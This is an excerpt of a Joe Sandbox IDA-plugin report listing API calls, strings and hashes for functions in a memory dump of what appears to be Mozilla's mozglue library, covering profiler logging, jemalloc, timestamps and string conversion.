[I %d/%d] profiler_pause_sampling, xrefs: 6C65F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C65F499

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 0fdfa736cd8b257562722c489a97be4d460de9cb9a78019ef6496e8d7c6616c2
Instruction ID: 69174eacf5275eae1ac9697278410fd12da30e6e28adadfae3a13054c4b6a268
Opcode Fuzzy Hash: 0fdfa736cd8b257562722c489a97be4d460de9cb9a78019ef6496e8d7c6616c2
Instruction Fuzzy Hash: 89F0B4752002069BDB10AF66D88896A77BDEFC669DF100411FA0683702CB315C06C76E

Function 6C620E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C620DF8), ref: 6C620E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C620EA1
__Init_thread_footer.LIBCMT ref: 6C620EB5
FreeLibrary.KERNEL32 ref: 6C620EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C620E9B
kernel32.dll, xrefs: 6C620E7D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8cc8e218c27d25fc27daa3984b0a83f0baeed2700b71ce4c8a20ff09c627a908
Instruction ID: d40230f12aef3701b794ae38917fe44ea385903066b7c00976abfac80f935f28
Opcode Fuzzy Hash: 8cc8e218c27d25fc27daa3984b0a83f0baeed2700b71ce4c8a20ff09c627a908
Instruction Fuzzy Hash: 57014B70700383DBDF008FAAE9A4A4233B5F747314F124529FA41CAB40D778A4568E1F

Function 6C65F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C65F598), ref: 6C65F621

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F637
AcquireSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F645
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C65F62A

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: f36f0a18328acd8c9b79227ffda99a11953035916cbb16144e69a67159e56c7d
Instruction ID: 71d657288322eee8cee2b9848608d7a3a2f67a603f1b0e44b41fbd418b65119d
Opcode Fuzzy Hash: f36f0a18328acd8c9b79227ffda99a11953035916cbb16144e69a67159e56c7d
Instruction Fuzzy Hash: 7EF0B475200202ABDB106F66888896A777DEFC669DF500411FA0683742CB355C06C76E

Function 6C6505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C64CFAE,?,?,?,6C6131A7), ref: 6C6505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C64CFAE,?,?,?,6C6131A7), ref: 6C650616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6131A7), ref: 6C65061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6131A7), ref: 6C650627

Strings

<jemalloc>, xrefs: 6C6505FA, 6C65060F
: (malloc) Error in VirtualFree(), xrefs: 6C65061B, 6C650625

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: af3cbf19e9b5cbb24f4828fe486473e12e9a1d1080d5c722775ddf457c31f5e0
Instruction ID: 7c01d688a3d83ea319c1a8f687b77be7ec4bb2ab9a40af499fb54596ea238722
Opcode Fuzzy Hash: af3cbf19e9b5cbb24f4828fe486473e12e9a1d1080d5c722775ddf457c31f5e0
Instruction Fuzzy Hash: 94E0ECE2A0211437F6146266BC86DBB765CDBC6574F080139FE0E83301E95AAD1A55FA

Function 6C6205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86cc5254f1920aa604d8789c23ed8ec91805e884df96c65183d5a393c36472d
Instruction ID: 17570e2a90cb515104e8cedb66fb6ff020d4c0789b20dff27ebd1e5d739ac003
Opcode Fuzzy Hash: a86cc5254f1920aa604d8789c23ed8ec91805e884df96c65183d5a393c36472d
Instruction Fuzzy Hash: 7AA158B0A00645CFDB24CF29C594A9AFBF1FF89304F54866ED48A97B00E735A945CFA4

Function 6C6714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6714E2
GetCurrentThreadId.KERNEL32 ref: 6C671546
InitializeConditionVariable.KERNEL32(?), ref: 6C6715BA
free.MOZGLUE(?), ref: 6C6716B4

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 40b8b4cd7afa9c94a51ce407e15485a2bcf5541ba8ed624702aa8226300ae880
Instruction ID: d5b02051a5dc4289fb9d1c82b6fc87462b50fe403f40704483ef15c59dcf6d38
Opcode Fuzzy Hash: 40b8b4cd7afa9c94a51ce407e15485a2bcf5541ba8ed624702aa8226300ae880
Instruction Fuzzy Hash: 29610771A007109BDB21CF21C890BDEB7B5BF8A308F04991DED8A57701DB31E955CBAA

Function 6C66DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C66D38A,?), ref: 6C66DC6F
free.MOZGLUE(?,?,?,?,?,6C66D38A,?), ref: 6C66DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C66D38A,?), ref: 6C66DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C66D38A,?), ref: 6C66DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C66D38A,?), ref: 6C66DD4A

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 3a2422391c2b1342e4f8e1624ffb09375847e87bb2174c1bab5be40196ef3d89
Instruction ID: 09e4415d6b06cf754bbdcf4b5c112abca536be475ae8fae4b872ea95b3a14a09
Opcode Fuzzy Hash: 3a2422391c2b1342e4f8e1624ffb09375847e87bb2174c1bab5be40196ef3d89
Instruction Fuzzy Hash: F8418F75A00615CFCB00CF9AC88099AB7F9FF89318B654569D945A7B10D771FC01CB99

Function 6C64F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C64F480

Part of subcall function 6C61F100: LoadLibraryW.KERNEL32(shell32,?,6C68D020), ref: 6C61F122
Part of subcall function 6C61F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C61F132

CloseHandle.KERNEL32(00000000), ref: 6C64F555

Part of subcall function 6C6214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C621248,6C621248,?), ref: 6C6214C9
Part of subcall function 6C6214B0: memcpy.VCRUNTIME140(?,6C621248,00000000,?,6C621248,?), ref: 6C6214EF

Part of subcall function 6C61EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C61EEE3

CreateFileW.KERNEL32 ref: 6C64F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C64F523

Strings

\oleacc.dll, xrefs: 6C64F4CB

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 085f17348aa07e15659c635463da42c88a7c192b59c61f3fe6edbab27997fd97
Instruction ID: 4ca7f51a4fa8200fed87f45d02b7f9ed327b2eb825cd083233e91d85886de748
Opcode Fuzzy Hash: 085f17348aa07e15659c635463da42c88a7c192b59c61f3fe6edbab27997fd97
Instruction Fuzzy Hash: FE41DF706087119FE724DF29C884B9BB7F4AF95318F108A1CF59483650EB70E949CBAB

Function 6C6774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C677526
__Init_thread_footer.LIBCMT ref: 6C677566
__Init_thread_footer.LIBCMT ref: 6C677597

Strings

UnmapViewOfFile2, xrefs: 6C677552
kernel32.dll, xrefs: 6C677557

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 3ccbcef69226d2191ee0a51da063df21a0fb8de7417181d7e36254224418bb11
Instruction ID: 54a3633d7e08d9a4f6e937cb7723f93c28283fa5280e1b2b65863afcb982bef2
Opcode Fuzzy Hash: 3ccbcef69226d2191ee0a51da063df21a0fb8de7417181d7e36254224418bb11
Instruction Fuzzy Hash: AF210A31700503A7DF25CFE6E894ED93375EB47328F114928F8064BF40CB71A8128AAE

Function 6C67C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C67C0E9), ref: 6C67C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C67C437
FreeLibrary.KERNEL32(?,6C67C0E9), ref: 6C67C44C

Strings

ntdll.dll, xrefs: 6C67C413
NtQueryVirtualMemory, xrefs: 6C67C431

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f9510d5045154e14dd4abba5c8a21d09f1a13c845810119b41cd57dec0834472
Instruction ID: 72d1a71f3a8ba8e3572bb31f0ec1921dc3dc8cd3058a07d028093cf211c1a9e4
Opcode Fuzzy Hash: f9510d5045154e14dd4abba5c8a21d09f1a13c845810119b41cd57dec0834472
Instruction Fuzzy Hash: 33E0B670711303ABDF60BF73DA887157BFCAB46344F11451ABA0591611EBB0C0128B6E

Function 6C6775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C67748B,?), ref: 6C6775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6775D7
FreeLibrary.KERNEL32(?,6C67748B,?), ref: 6C6775EC

Strings

ntdll.dll, xrefs: 6C6775B3
RtlNtStatusToDosError, xrefs: 6C6775D1

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 47f20e6226df0b5a4b99bcbe8242f12249e815d927133dfa314c19f672262a1f
Instruction ID: b203644c416779bc3d67b761a70a9f85de7a3219151e2cfa1bcd8fcbe08795c0
Opcode Fuzzy Hash: 47f20e6226df0b5a4b99bcbe8242f12249e815d927133dfa314c19f672262a1f
Instruction Fuzzy Hash: 1EE09271600303ABEB11AFA3E8C87117AF8EB46358F114829BA05D9610EBF080528F1E

Function 6C677600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C677592), ref: 6C677608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C677627
FreeLibrary.KERNEL32(?,6C677592), ref: 6C67763C

Strings

ntdll.dll, xrefs: 6C677603
NtUnmapViewOfSection, xrefs: 6C677621

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e44537c60132f59083959da8fafecd55a0cd0abeda0ef79b9e39e1136693b2d0
Instruction ID: a56dadf658ec8057813733d54343da5aed24e51c743c07307fe249ac94bdef4b
Opcode Fuzzy Hash: e44537c60132f59083959da8fafecd55a0cd0abeda0ef79b9e39e1136693b2d0
Instruction Fuzzy Hash: A7E0B6B4600303ABDF11AFA7E8887557ABCE75A399F014519FA05D9710EBB180028F1E

Function 6C67BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C67BE49), ref: 6C67BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C67BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C67BE49), ref: 6C67BF38
RtlReAllocateHeap.NTDLL ref: 6C67BF83
RtlFreeHeap.NTDLL(6C67BE49,00000000), ref: 6C67BFA6

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 1186791e3352bc5e3e6b30921f2eee93ebea1cce5f713ba29537699a87927537
Instruction ID: ba54917f3c3c1efd3026374ada9b9aa6fc7e7b2ac5486d055037894446e052eb
Opcode Fuzzy Hash: 1186791e3352bc5e3e6b30921f2eee93ebea1cce5f713ba29537699a87927537
Instruction Fuzzy Hash: B6519271A002058FE724CF69CD80B9AB3A2FFC5714F294A39D516A7B54D734F9068BA4

Function 6C668E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?,6C68D734), ref: 6C668E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?,6C68D734), ref: 6C668EBF
free.MOZGLUE(?,?,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?), ref: 6C668F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?,6C68D734), ref: 6C668F46
free.MOZGLUE(?,?,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?), ref: 6C668F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?), ref: 6C668F8F

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 349630620c7631d35e8a27e3ce173e22fd3b06c759e56cc07bb091d386218453
Instruction ID: 4787b9eacd65eb7f4eb2028b1711378e05cbba4c062515c5d0b3951de5209760
Opcode Fuzzy Hash: 349630620c7631d35e8a27e3ce173e22fd3b06c759e56cc07bb091d386218453
Instruction Fuzzy Hash: BE51D7B1A012168FEB10CF65D88076E73B2FF4A358F15052AD916ABB50E731F905CB9A

Function 6C614DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C614E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C614E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C614EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C614F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C614F1E

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: d8d402070b06b921e3401f2b92c4094380e5a6ec6a361fa343c67ef56deb5f9a
Instruction ID: 0e8227b026de13d26190a0a4c31cda1755c2fb72c2b5761252e8b88fdd99c472
Opcode Fuzzy Hash: d8d402070b06b921e3401f2b92c4094380e5a6ec6a361fa343c67ef56deb5f9a
Instruction Fuzzy Hash: 1941D1716087019FC705CF29C4809ABB7E4BF8A348F108A2DF56697B41DBB0E915CB99

Function 6C621530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C62159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C6215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C6215E7
free.MOZGLUE(?,?,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C621606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C621637

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a7d551ffe0fb66af48b2bae48838ad90340cb52863ac27eb83f8fdfab83986d9
Instruction ID: 6d3eec2803160f02e85b2ef5fab9ef7105039517afe2d3eab1bf5ad0e963296d
Opcode Fuzzy Hash: a7d551ffe0fb66af48b2bae48838ad90340cb52863ac27eb83f8fdfab83986d9
Instruction Fuzzy Hash: 4B310AB29041149BC7148E78D8508AE73E5BB823647240B6DE823EBBD4EB35DD058B99

Function 6C67AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AD9D

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

